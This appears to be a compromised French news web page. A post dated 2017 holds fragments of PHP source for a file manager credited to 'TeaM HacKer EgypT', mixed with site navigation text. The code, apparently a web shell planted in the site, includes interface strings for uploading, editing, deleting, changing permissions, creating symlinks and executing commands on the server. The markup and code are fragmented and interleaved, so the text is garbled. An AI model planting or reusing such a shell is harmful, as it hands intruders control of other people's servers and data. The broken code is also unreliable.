';

}

function textfieldsize ($content) {

$size = strlen($content) + 5;
if ($size < 30) $size = 30;

return $size;

}

function request_dump () {

foreach ($_REQUEST as $key => $value) {
echo "\t\n";
}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
global $words;
static $search;

if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}

$replace = array('{' => '
', '}' =>'
', '[' => '', ']' => '');

return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
global $word_charset, $date_format;

switch ($lang) {
case 'de':

$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Größe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',

'create_symlink' => 'Symlink erstellen',
'delete' => 'löschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
);

case 'fr':

$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',

'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
);

case 'it':

$date_format = 'd-m-Y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non può essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non può essere letto.'
);

case 'nl':

$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
);

case 'se':

$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',

'size' => 'Storlek',
'permission' => 'Säkerhetsnivå',
'owner' => 'Ägare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',

'read' => 'Läs',
'write' => 'Skriv',
'execute' => 'Utför',

'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'Ändra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'Ändra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Töm',
'relative' => 'Relative path to target',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'Användare',
'password' => 'Lösenord',
'add' => 'Lägg till',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De här filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn på fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ändras.',
'executed' => "\"[%1]\" har utförts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rättigheter för "[%1]":',
'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte läsas.'
);

case 'sp':

$date_format = 'j/n/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tamaño',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecución',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atrás',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificación básica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leído.'
);

case 'dk':

$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'Størrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'læs',
'write' => 'skriv',
'execute' => 'kør',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdøb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sæt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilføj',
'add_basic_auth' => 'tilføj grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdød fil:',
'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
'not_readable' => '"[%1]" Kan ikke læses.'
);

case 'tr':

$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Klasör',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola göre',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kýsa yol',
'no_output' => 'çikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
);

case 'cs':

$date_format = 'd.m.y H:i:s';
$word_charset = 'UTF-8';

return array(
'directory' => 'Adresář',
'file' => 'Soubor',
'filename' => 'Jméno souboru',

'size' => 'Velikost',
'permission' => 'Práva',
'owner' => 'Vlastník',
'group' => 'Skupina',
'other' => 'Ostatní',
'functions' => 'Funkce',

'read' => 'Čtení',
'write' => 'Zápis',
'execute' => 'Spouštění',

'create_symlink' => 'Vytvořit symbolický odkaz',
'delete' => 'Smazat',
'rename' => 'Přejmenovat',
'move' => 'Přesunout',
'copy' => 'Zkopírovat',
'edit' => 'Otevřít',
'download' => 'Stáhnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvořit',
'change' => 'Změnit',
'save' => 'Uložit',
'set' => 'Nastavit',
'reset' => 'zpět',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zpět',
'destination' => 'Destination',
'symlink' => 'Symbolický odkaz',
'no_output' => 'Prázdný výstup',

'user' => 'Uživatel',
'password' => 'Heslo',
'add' => 'Přidat',
'add_basic_auth' => 'přidej základní autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
'already_exists' => 'Soubor "[%1]" už exituje.',
'created' => 'Soubor "[%1]" byl vytvořen.',
'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazány tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
'rename_file' => 'Přejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
'move_files' => 'Přemístit tyto soubory:',
'moved' => "Tyto soubory byly přemístěny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly být přemístěny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkopírovat tyto soubory:',
'copied' => "Tyto soubory byly zkopírovány do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly být zkopírovány do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
'saved' => 'Soubor "[%1]" byl uložen.',
'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
'permission_for' => 'Práva k "[%1]":',
'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
'not_readable' => 'Soubor "[%1]" není možno přečíst.'
);

case 'en':
default:

$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';

return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'pe
Accueil | Contacts | Recherche | Pan du site  
Untitled


';

$d = 'dir=' . urlencode($directory) . '&';

if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
echo "\t\n";

if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
echo "\t\n";

if (!$win) {

if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
echo "\t\n";

if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
echo "\t\n";

if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
echo "\t\n";

}

echo '

';

for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];

$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

echo '

\n";

if (!$win) {

echo "\t\n";

if (array_key_exists('owner_name', $file)) {
echo "\t\n";
} else {
echo "\t\n";
}

if (array_key_exists('group_name', $file)) {
echo "\t\n";
} else {
echo "\t\n";
}

}

echo '

';

}

echo '



';

}

function directory_choice () {
global $directory, $homedir, $cols, $self;

echo '


';

}

function upload_box () {
global $cols;

echo '


';

}

function create_box () {
global $cols;

echo '


';

}

function edit ($file) {
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

html_header();

echo '

' . html($file) . '





ACTUALITES DE LA DREN
 
sas
(Publié le 08/06/2017 à 04:54:49)
/*
* TeaM HacKer EgypT - a simple Web-based file manager
* Copyright (C) 2004 TeaM HacKer EgypT <>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 9
* =========================================================================
*
* Changes of revision 9
* <>
